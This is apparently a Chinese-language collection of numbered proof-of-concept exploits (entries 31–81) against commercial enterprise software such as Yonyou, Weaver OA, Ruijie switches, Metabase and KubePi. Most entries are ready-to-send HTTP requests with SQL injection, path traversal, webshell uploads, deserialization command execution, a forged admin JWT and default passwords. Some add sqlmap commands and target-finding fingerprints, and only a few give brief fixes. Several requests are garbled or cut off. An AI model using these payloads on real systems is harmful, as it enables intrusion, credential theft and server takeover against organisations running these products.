Connection: close 

------WebKitFormBoundaryvLTG6zlX0gZ8LzO3 
Content-Disposition: form-data; name="downloadpath"; filename="a.jsp" 
Content-Type: application/msword 

hello 
------WebKitFormBoundaryvLTG6zlX0gZ8LzO3--

31、启明天钥安全网关前台sql注入

POST /ops/index.php?c=Reportguide&a=checkrn HTTP/1.1
Host: ****
Connection: close
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="88", "Google Chrome";v="88", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Language: zh-CN,zh;q=0.9
Cookie: ****
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
checkname=123&tagid=123
sqlmap -u "https://****/ops/index.php?c=Reportguide&a=checkrn" --data "checkname=123&tagid=123" -v3 --skip-waf --random-agent

32、用友M1server反序列化命令执行漏洞

漏洞描述：

M1移动协同是针对管理者、高端商务人士、长期在外走访客户的业务人员以及日常外出的行业者而打造的协同应用。该应用平台存在反序列化漏洞，攻击者构造恶意包可以执行任意命令获取服务器权限

POC待补充

33、启明星辰-4A 统一安全管控平台 getMater 信息泄漏

漏洞描述：

启明星辰集团4A统一安全管控平台实现IT资源集中管理,为企业提供集中的账号、认证、授权、审计管理技术支撑及配套流程,提升系统安全性和可管理能力。可获取相关人员敏感信息。

GET /accountApi/getMaster.do

poc: relative: req0 session: false requests: - method: GET timeout: 10 path: /accountApi/getMaster.do headers: User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.881.36 Safari/537.36 follow_redirects: true matches: (code.eq(“200”) && body.contains(“"state":true”))

修复建议：

限制文件访问

34、锐捷交换机 WEB 管理系统 EXCU_SHELL 信息泄露

漏洞描述：锐捷交换机 WEB 管理系统 EXCU_SHELL 信息泄露漏洞

批量扫描工具：

https://github.com/MzzdToT/HAC_Bored_Writing/tree/main/unauthorized/%E9%94%90%E6%8D%B7%E4%BA%A4%E6%8D%A2%E6%9C%BAWEB%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9FEXCU_SHELL

GET /EXCU_SHELL HTTP/1.1

Host: 

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.2852.74 Safari/537.36

Accept-Encoding: gzip, deflate

Accept: */*

Connection: close

Cmdnum: '1'

Command1: show running-config

Confirm1: n

35、科荣 AIO 管理系统存在文件读取漏洞

漏洞描述：

科荣AIO企业一体化管理解决方案,通过ERP（进销存财务）、OA（办公自动化）、CRM（客户关系管理）、UDP（自定义平台），集电子商务平台、支付平台、ERP平台、微信平台、移动APP等解决了众多企业客户在管理过程中跨部门、多功能、需求多变等通用及个性化的问题。科荣 AIO 管理系统存在文件读取漏洞，攻击者可以读取敏感文件。

POST /UtilServlet HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Content-Length: 52
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: no-cache
Connection: close
Content-Type: application/x-www-form-urlencoded
Pragma: no-cache
Upgrade-Insecure-Requests: 1

operation=readErrorExcel&fileName=C:\windows/win.ini

36、飞企互联 FE 业务协作平台 magePath 参数文件读取漏洞

漏洞描述：

FE 办公协作平台是实现应用开发、运行、管理、维护的信息管理平台。飞企互联 FE 业务协作平台存在文件读取漏洞，攻击者可通过该漏洞读取系统重要文件获取大量敏感信息。

漏洞影响：飞企互联 FE业务协作平台

网络测绘：

“flyrise.stopBackspace.js”

验证POC

1	/servlet/ShowImageServlet?imagePath=../web/fe.war/WEB-INF/classes/jdbc.properties&print

37、用友GRP-U8存在信息泄露

漏洞描述：友U8系统存可直接访问log日志，泄露敏感信息

批量扫描工具:https://github.com/MzzdToT/HAC_Bored_Writing/tree/main/unauthorized/%E7%94%A8%E5%8F%8BGRP-U8

1	GET /logs/info.log HTTP/1.1

38、nginx配置错误导致的路径穿越风险

漏洞自查PoC如下： https://github.com/hakaioffsec/navgix 该漏洞非0day，是一个路径穿越漏洞，可以直接读取nginx后台服务器文件。有多家重点金融企业已中招，建议尽快进行自查。

39、红帆OA zyy_AttFile.asmx SQL注入漏洞

POC：

POST /ioffice/prg/interface/zyy_AttFile.asmx HTTP/1.1 Host: 10.250.250.5 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 Content-Length: 383 Content-Type: text/xml; charset=utf-8 Soapaction: “http://tempuri.org/GetFileAtt“ Accept-Encoding: gzip, deflate Connection: close <soap:Envelope xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance“ xmlns:xsd=”http://www.w3.org/2001/XMLSchema“ xmlns:soap=”http://schemas.xmlsoap.org/soap/envelope/">soap:Body123 </so ap:Envelope>

修复方法

官方已发布安全修复版本，请升级至官网最新版本 https://www.ioffice.cn/

40、Coremail 邮件系统未授权访问获取管理员账密

POC：

/coremail/common/assets/:/:/:/:/:/:/s?

biz=Mzl3MTk4NTcyNw==&mid=2247485877&idx=1&sn=7e5f77db320ccf9013c0b7aa7262

6688chksm=eb3834e5dc4fbdf3a9529734de7e6958e1b7efabecd1c1b340c53c80299ff5c688b

f6adaed61&scene=2

41、Milesight VPN server.js 任意文件读取漏洞

POC:

GET /../etc/passwd HTTP/1.1

Host:

Accept: */*

Content-Type: application/x-www-form-urlencoded

42、PigCMS action_flashUpload 任意文件上传漏洞

POC:

POST /cms/manage/admin.php?m=manage&c=background&a=action_flashUpload

HTTP/1.1

Host:

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=----aaa

------aaa

Content-Disposition: form-data; name="filePath"; filename="test.php"

Content-Type: video/x-flv

<?php phpinfo();?>

------aaa

/cms/upload/images/2023/08/11/1691722887xXbx.php

43、绿盟 NF 下一代防火墙任意文件上传漏洞

POC:

POST /api/v1/device/bugsInfo HTTP/1.1

Content-Type: multipart/form-data; boundary=4803b59d015026999b45993b1245f0ef

Host:

--4803b59d015026999b45993b1245f0ef

Content-Disposition: form-data; name="file"; filename="compose.php"

<?php eval($_POST['cmd']);?>

--4803b59d015026999b45993b1245f0ef--

POST /mail/include/header_main.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Cookie: PHPSESSID_NF=82c13f359d0dd8f51c29d658a9c8ac71

Host:

cmd=phpinfo();

44、金盘图书馆微信管理后台 getsysteminfo 未授权访问漏洞

POC: /admin/weichatcfg/getsysteminfo

**漏洞描述：**北京金盘鹏图软件技术有限公司的金盘图书馆微信管理后台 getsysteminfo 存在未授权访问漏洞

**漏洞危害:**获取管理员账号密码等敏感数据，导致攻击者能以管理员身份进入系统窃取敏感信息和危险操作

修复方法:

官方已发布安全修复版本，请升级至官网最新版本 http://goldlib.com.cn/

45、Panel loadfile 后台文件读取漏洞

POC:

1	POST /api/v1/file/loadfile {"paht":"/etc/passwd"}

46、网御 ACM 上网行为管理系统bottomframe.cgi SQL 注入漏洞

POC:

1 2	GET /bottomframe.cgi?user_name=%27))%20union%20select%20md5(1)%23 HTTP/1.1 Host: [你的主机名或IP地址]

47、广联达 Linkworks GetIMDictionarySQL 注入漏洞

POC:

1
2

POST /Webservice/IM/Config/ConfigService.asmx/GetIMDictionary HTTP/1.1 Host: Content-Type: application/x-www-form-urlencoded
key=1' UNION ALL SELECT top 1 concat(F_CODE,':',F_PWD_MD5) from T_ORG_USER --

48、用友文件服务器认证绕过

资产搜索：

app=”用友-NC-Cloud” 或者是app=”用友-NC-Cloud” && server==”Apache-Coyote/1.1”

POST数据包修改返回包 false改成ture就可以绕过登陆

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Date: Thu, 10 Aug 2023 20:38:25 GMT

Connection: close

Content-Length: 17

{"login":"false"}

49、华天动力oa SQL注入

访问

http://xxxx//report/reportJsp/showReport.jsp?raq=%2FJourTemp2.raq&reportParamsId=100xxx

然后抓包

POST /report/reportServlet?action=8 HTTP/1.1

Host: xxxx

Content-Length: 145

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://xxx/

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Referer: http://xxxx/report/reportJsp/showReport.jsp?raq=%2FJourTemp2.raq&reportParamsId=100xxx

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: JSESSIONID=D207AE96056400942620F09D34B8CDF3

Connection: close

year=*&userName=*&startDate=*&endDate=*&dutyRule=*&resultPage=%2FreportJsp%2FshowRepo

48、49漏洞来源于：https://mp.weixin.qq.com/s/hUig93-cSFtbioQpPSNZig

50、泛微 Weaver E-Office9 前台文件包含

http://URL/E-mobile/App/Init.php?weiApi=1&sessionkey=ee651bec023d0db0c233fcb562ec7673_admin&m=12344554_../../attachment/xxx.xls

（网友ZEROS贡献）

51、企业微信（私有化版本）敏感信息泄露漏洞

紧急通知，长亭报出企业微信存在信息泄露0day！目前已在准备预警，请注意！

企业微信URL/cgi-bin/gateway/agentinfo

接口未授权情况下可直接获取企业微信secret等敏感信息

受影响版本：2.5.x、2.6.930000、以下；

不受影响：2.7.x、2.8.x、2.9.x；

危害：

1、可导致企业微信全量数据被获取、文件获取，

2、存在使用企业微信轻应用对内发送钓鱼文件和链接等风险。

修复方法：

1、在waf上设置一个规则，匹配到/cgi-bin/gateway/agentinfo路径的进行阻断；

2、联系厂家进行获取修复包；

3、官方通报及补丁地址

复现及漏洞详情分析：

第一步：，通过泄露信息接口可以获取corpid和corpsecret

https://<企业微信域名>/cgi-bin/gateway/agentinfo

第二步，使用corpsecret和corpid获得token

https://<企业微信域名>/cgi-bin/gettoken?corpid=ID&corpsecret=SECRET

第三步，使用token访问诸如企业通讯录信息，修改用户密码，发送消息，云盘等接口

https://<企业微信域名>/cgi-bin/user/get?access_token=ACCESS_TOKEN&userid=USERID

52、帆软报表系统漏洞威胁

情况说明：帆软报表系统（V10、V11及更早期版本）存在反序列化漏洞绕过、反序列化命令执行等高危漏洞，攻击者可利用上述漏洞获取系统权限。鉴于该漏洞影响范围较大，潜在危害程度极高，建议引起高度重视，通过官方发布的链接下载补丁，进行升级，消除安全隐患，提高安全防范能力。

漏洞详细信息: https://help.fanruan.com/finereport/doc-view-4833.html

补丁下载链接: http: //s.fanruan.com/3u6eo

53、蓝凌EKP远程代码执行漏洞

受影响版本：

蓝凌EKP V16 (最新版)受影响存在远程代码执行漏洞；V15暂无环境验证，可能受影响。

修复方案：

使用网络ACL限制该OA的访问来源，加强监测，重点拦截GET请求中带有../等目录穿越特征的URL。

通过文件上传–>解压–>获取webshell，前台漏洞

漏洞路径：

/api///sys/ui/sys_ui_extend/sysUiExtend.do
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept: /
Connection: Keep-Alive
Content-Length: 42
Content-Type: application/x-www-form-urlencoded
var={"body":{"file":"file:///etc/passwd"}}

54、Smartx超融合远程命令执行漏洞

SmartX超融合系统是构建超融合平台的核心软件，能够基于不同虚拟化平台和软硬件的交付方式实现超融合架构。Smartx超融合系统存在远程命令执行漏洞，攻击者可利用该漏洞执行任意命令，控制服务器。

受影响版本：Smartx超融合version <= 5.0.5受影响存在漏洞；最新版暂无环境验证，可能受影响。

修复方案：使用网络ACL限制该产品的访问来源，加强监测，重点拦截GET请求中带有操作系统命令注入特征的URL；

临时修复方案：

重点拦截访问 /api/v2/deployment/can_ping的可疑ip

55、Nacos-Sync未授权漏洞

https://xxx.xxx.xxx/#/serviceSync

56、360 新天擎终端安全管理系统信息泄露漏洞

http://ip:port/runtime/admin_log_conf.cache

57、锐捷 NBR 路由器 fileupload.php 任意文件上传漏洞

POST /ddi/server/fileupload.php?uploadDir=../../321&name=123.php HTTP/1.1

Host: 

Accept: text/plain, */*; q=0.01

Content-Disposition: form-data; name="file"; filename="111.php"

Content-Type: image/jpeg

<?php phpinfo();?>

58、网神 SecSSL 3600安全接入网关系统任意密码修改漏洞

POST /changepass.php?type=2 

Cookie: admin_id=1; gw_user_ticket=ffffffffffffffffffffffffffffffff; last_step_param={"this_name":"test","subAuthId":"1"}

old_pass=&password=Test123!@&repassword=Test123!@

59、Openfire身份认证绕过漏洞(CVE-2023-32315)

1	GET /user-create.jsp?csrf=Sio3WOA89y2L9Rl&username=user1&name=&email=&password=Qwer1234&passwordConfirm=Qwer1234&isadmin=on&create=............ HTTP/1.1

59、大华智慧园区综合管理平台 user_getUserInfoByUserName.action 任意密码读取漏洞

1	GET /admin/user_getUserInfoByUserName.action?userName=system HTTP/1.1 Host: ip:port User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

60、泛微 ShowDocsImagesql注入漏洞

GET

/weaver/weaver.docs.docs.ShowDocsImageServlet?docId=* HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML,

like Gecko) 

Accept-Encoding: gzip, deflate

Connection: close

61、宏景 HCM codesettree SQL 注入漏洞

GET

/servlet/codesettree?flag=c&status=1&codesetid=1&parentid=-1&categories=~31~27~20union~20al

l~20select~20~27~31~27~2cusername~20from~20operuser~20~2d~2d HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML,

like Gecko) 

Accept-Encoding: gzip, deflate

Connection: close

61、用友时空 KSOATaskRequestServlet sql注入漏洞

1	/servlet/com.sksoft.v8.trans.servlet.TaskRequestServlet?unitid=1*&password=1,

62、用友时空 KSOA servletimagefield 文件 sKeyvalue 参数SQL 注入

GET
/servlet/imagefield?key=readimage&sImgname=password&sTablename=bbs_admin&sKeyname=id&sKeyvalue=-1'+union+select+sys.fn_varbintohexstr(hashbytes('md5','test'))-
-+ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML,
like Gecko) 
Accept-Encoding: gzip, deflate
Connection:

63、用友畅捷通 T注入

1	sqlmap -u http://xx.xx.xx.xx/WebSer~1/create_site.php?site_id=1 --is-dba

64、宏景OA文件上传

POST /w_selfservice/oauthservlet/%2e./.%2e/system/options/customreport/OfficeServer.jsp HTTP/1.1
Host: xx.xx.xx.xx
Cookie: JSESSIONID=C92F3ED039AAF958516349D0ADEE426E
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 417

DBSTEP V3.0     351             0               666             DBSTEP=REJTVEVQ
OPTION=U0FWRUZJTEU=
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
FILETYPE=Li5cMW5kZXguanNw
RECOR1DID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66

1

shell:http://xx.xx.xx.xx/1ndex.jsp

65、金和OA 未授权

漏洞链接

http://xx.xx.xx.xx/C6/Jhsoft.Web.users/GetTreeDate.aspx/?id=1

复现步骤

http://xx.xx.xx.xx/C6/Jhsoft.Web.users/GetTreeDate.aspx/?id=1%3bWAITFOR+DELAY+'0%3a0%3a5'+--%20and%201=1

66、Kuboard默认口令

漏洞描述：

Kuboard，是一款免费的 Kubernetes 图形化管理工具，Kuboard 力图帮助用户快速在 Kubernetes 上落地微服务。Kuboard存在默认口令可以通过默认口令登录Kuboard，管理Kubernetes。

admin/kuboard123

67、QAX-Vpn存在x遍历及任意账号密码修改漏洞

1 2	https://x.xxx.xxx.cn/admin/group/xgroupphp?id=1 https://x.xxx.xxx.cn/admin/group/xgroupphp?id=3 cookie: admin id=1; gw admin ticket=1;

68、有用畅捷通T+GetStoreWarehouseByStore RCE漏洞

POST
/tplus/ajaxpro/Ufida.T.CodeBehind.PriorityLevel,App Code.ashx?met hod=GetstoreWarehouseByStore HTTP/1.1 Host: User-Agent:
Mozilla/5.0 (X11;Linuxx86 64)AppleWebKit/537.36(KHTML， like
Gecko)Chrome/34.0.1847.137 Safari 4E423F Connection: close
Content-Length:668 X-Ajaxpro-Method:GetstoreWarehouseByStore Accept-Encoding:gzip { "storeID":{
"type":"system.Windows.Data.objectDataProvider,
PresentationFramework,Version=4.0.0.0,Culture=neutral,
PublicKeyToken=31bf3856ad364e35"，        "MethodName":"start"        
"objectInstance":{        " type":"system.Diagnostics.Process,        
System,Version=4.0.0.0，Culture=neutral,
PublicKeyToken=b77a5c561934e089"        "startInfo":{        
" type":"system.Diagnostics.ProcessstartInfo, system,
Version=4.0.0.0,Culture=neutral,
PublicKeyToken=b77a5c561934e089"        "FileName":"cmd",        
"Arguments":"/cwhoami>
C:/Progra~2/Chanjet/TPlusStd/Website/2RUsL6jgx9sGX4GItBcVfxarBM.t
xt"        }        } } }

69、契约锁电子签章系统 RCE

POST /callback/%2E%2E;/code/upload HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type:multipart/form-data;

boundary=----GokVTLZMRxcJWKfeCvEsYHlszxEANApZseNMGLki
----GokVTLZMRxcJWKfeCvEsYHlszxEANApZseNMGLki
Content-Disposition: form-data; name="type";

TIMETASK
----GokVTLZMRxcJWKfeCvEsYHlszxEANApZseNMGLki
Content-Disposition: form-data; name="file"; filename="qys.jpg"

马儿

----GokVTLZMRxcJWKfeCvEsYHlszxEANApZseNMGLki

70、任我行 CRM SmsDataList SQL注入漏洞

POST /SMS/SmsDataList/?pageIndex=1&pageSize=30 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.1361.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 170

Keywords=&StartSendDate=2020-06-17&EndSendDate=2020-09-17&SenderTypeId=00000000*

71、深信服数据中心管理系统 XML 实体注入漏洞

GET /src/sangforindex HTTP/1.1
Host: ip:port
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, likeGecko)
Accept:
text/xml,application/xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: text/xml
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: Keep-alive
Content-Length: 135
<?xml version="1.0" encoding="utf-8" ?><!DOCTYPE root [
<!ENTITY rootas SYSTEM "http://dnslog">
]>
<xxx>
&rootas;
</xxx>

72、明源云 ERP ApiUpdate.ashx 文件上传漏洞

POST /myunke/ApiUpdateTool/ApiUpdate.ashx?apiocode=a HTTP/1.1Host: target.com
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3)AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 856

{{unquote("PK\x03\x04\x14\x00\x00\x00\x08\x00\xf2\x9a\x0bW\x97\xe9\x8br\x8c\x00\x00\x00\x93\x00\x00\x00\x1e\x00\x00\x00../../../fdccloud/_/check.aspx$\xcc\xcb\x0a\xc20\x14\x04\xd0_\x09\x91B\xbb\x09\x0a\xddH\xab\x29\x8aP\xf0QZ\xc4\xf5m\x18j!ib\x1e\x82\x7fo\xc4\xdd0g\x98:\xdb\xb1\x96F\xb03\xcdcLa\xc3\x0f\x0b\xce\xb2m\x9d\xa0\xd1\xd6\xb8\xc0\xae\xa4\xe1-\xc9d\xfd\xc7\x07h\xd1\xdc\xfe\x13\xd6%0\xb3\x87x\xb8\x28\xe7R\x96\xcbr5\xacyQ\x9d&\x05q\x84B\xea\x7b\xb87\x9c\xb8\x90m\x28<\xf3\x0e\xaf\x08\x1f\xc4\xdd\x28\xb1\x1f\xbcQ1\xe0\x07EQ\xa5\xdb/\x00\x00\x00\xff\xff\x03\x00PK\x01\x02\x14\x03\x14\x00\x00\x00\x08\x00\xf2\x9a\x0bW\x97\xe9\x8br\x8c\x00\x00\x00\x93\x00\x00\x00\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00../../../fdccloud/_/check.aspxPK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00L\x00\x00\x00\xc8\x00\x00\x00\x00\x00")}}

73、泛微 HrmCareerApplyPerView S Q L 注入漏洞

GET
/pweb/careerapply/HrmCareerApplyPerView.jsp?id=1%20union%20select%201,2,sys.fn_sqlvarbasetostr(db_name()),db_name(1),5,6,7 HTTP/1.1
Host: 127.0.0.1:7443
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML,like Gecko)
Accept-Encoding: gzip, deflate
Connection: close

74、Metabase validate 远程命令执行漏洞（CVE-2023-38646）

漏洞描述

Metabase是一个开源的数据分析和可视化工具，它可以帮助用户轻松连接到各种数据源，包括数据库、云服务和API，然后使用绘图的界面进行数据查询、分析和可视化。需身份认证的远程攻击者利用该漏洞可以在服务器上以运行元数据库服务器的权限执行任意命令

漏洞影响

元数据库

网络测绘

应用程序=“元数据库”

漏洞复现

POC

1	/api/session/properties

POST /api/setup/validate HTTP/1.1
Host: 
Content-Type: application/json
Content-Length: 812

{
    "token": "e56e2c0f-71bf-4e15-9879-d964f319be69",
    "details":
    {
        "is_on_demand": false,
        "is_full_sync": false,
        "is_sample": false,
        "cache_ttl": null,
        "refingerprint": false,
        "auto_run_queries": true,
        "schedules":
        {},
        "details":
        {
            "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('curl ecw14d.dnslog.cn')\n$$--=x",
            "advanced-options": false,
            "ssl": true
        },
        "name": "an-sec-research-team",
        "engine": "h2"
    }
}

75、KubePi JwtSigKey 登陆绕过漏洞（CVE-2023-22463）

漏洞描述

KubePi 中存在 JWT 硬编码，攻击者通过硬编码可以获取服务器后台管理权限，添加任意用户

漏洞影响

库贝派

网络测绘

“库贝皮”

漏洞复现

登陆页面

POST /kubepi/api/v1/users HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.127 Safari/537.36
accept: application/json
Accept-Encoding: gzip, deflate
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJuaWNrTmFtZSI6IkFkbWluaXN0cmF0b3IiLCJlbWFpbCI6InN1cHBvcnRAZml0MmNsb3VkLmNvbSIsImxhbmd1YWdlIjoiemgtQ04iLCJyZXNvdXJjZVBlcm1pc3Npb25zIjp7fSwiaXNBZG1pbmlzdHJhdG9yIjp0cnVlLCJtZmEiOnsiZW5hYmxlIjpmYWxzZSwic2VjcmV0IjoiIiwiYXBwcm92ZWQiOmZhbHNlfX0.XxQmyfq_7jyeYvrjqsOZ4BB4GoSkfLO2NvbKCEQjld8

{
  "authenticate": {
       "password": "{{randstr}}"
  },
  "email": "{{randstr}}@qq.com",
  "isAdmin": true,
  "mfa": {
          "enable": false
   },
  "name": "{{randstr}}",
  "nickName": "{{randstr}}",
  "roles": [
       "Supper User"
  ]
}

纯文本

76、禅道 16.5 router.class.php SQL注入漏洞

POST /user-login.html

account=admin%27+and+%28select+extractvalue%281%2Cconcat%280x7e%2C%28select+user%28%29%29%2C0x7e%29%29%29%23

77、金山EDR RCE漏洞

开启⽇志 /Console/inter/handler/change_white_list_cmd.php id参数

POST /inter/ajax.php?cmd=get_user_login_cmd HTTP/1.1
Host: 192.168.24.3:6868
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101
Firefox/114.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 131
Origin: http://192.168.24.3:6868
Connection: close
Referer: http://192.168.24.3:6868/settings/system/user.php?m1=7&m2=0

{"change_white_list_cmd":{"ip":"{BD435CCE-3F91EC}","name":"3AF264D9-
AE5A","id":"111;set//global//general_log=on;","type":"0"}}

设置日志php文件

POST /inter/ajax.php?cmd=get_user_login_cmd HTTP/1.1
Host: 192.168.24.3:6868
Content-Length: 195
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.24.3:6868
Referer: http://192.168.24.3:6868/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SKYLARa0aedxe9e785feabxae789c6e03d=tf2xbucirlmkuqsxpg4bqaq0snb7
Connection: close

{"change_white_list_cmd":{"ip":"{BD435CCE-3F91EC}","name":"3AF264D9-
AE5A","id":"111;set//global//general_log_file=0x2e2e2f2e2e2f436f6e736f6c652f6368656
36b5f6c6f67696e322e706870;","type":"0"}}

写入php代码

POST /inter/ajax.php?cmd=settings_distribute_cmd HTTP/1.1
Host: 192.168.24.3:6868
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101
Firefox/114.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 222
Origin: http://192.168.24.3:6868
Connection: close
Referer: http://192.168.24.3:6868/index.php
{"settings_distribute_cmd":{"userSession":"{BD435CCE-3F91-E1AA-3844-
76A49EE862EB}","mode_id":"3AF264D9-AE5A-86F0-6882-DD7F56827017","settings":"3AF264D9-
AE5A-86F0-6882-DD7F56827017_0","SC_list":{"a":"<?php phpinfo();?>"}}}

最后get请求rce：

1	http://192.168.24.3:6868/check_login2.php

78、Panabit iXCache网关RCE漏洞CVE-2023-38646

POST /cgi-bin/Maintain/date_config HTTP/1.1
Host: 127.0.0.1:8443
Cookie: pauser_9667402_260=paonline_admin_44432_9663; pauser_9661348_661=paonline_admin_61912_96631
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 107

ntpserver=0.0.0.0%3Bwhoami&year=2000&month=08&day=15&hour=11&minute=34&second=53&ifname=fxp1

79、金和OA C6-GetSgIData.aspx SQL注入漏洞

POST /c6/Contro/GetSglData.aspx/.ashx

Host: ip.port

User-Agent: Mozillal5.0 (Windows NT 5.1) AppleWebkit/537.36(KHTML， like Gecko) Chrome/35.0.2117.157 Safari/537 36

Connection: close

Content-Length.189

Content-Type. text/plain

Accept-Encoding: gzip

exec master..xp cmdshell 'ipconfig'

80、致远OA任意管理员登录

1
2
3

POST /seeyon/thirdpartyController.do HTTP/1.1

method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04%2BLjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1

81、用友nc-cloudRCE

漏洞影响

NC63、NC633、NC65

NC Cloud1903、NC Cloud1909

NC Cloud2005、NC Cloud2105、NC Cloud2111

YonBIP高级版2207

先发送数据包，返回200

POST /uapjs/jsinvoke/?action=invoke HTTP/1.1

Host: 127.0.0.1:8080

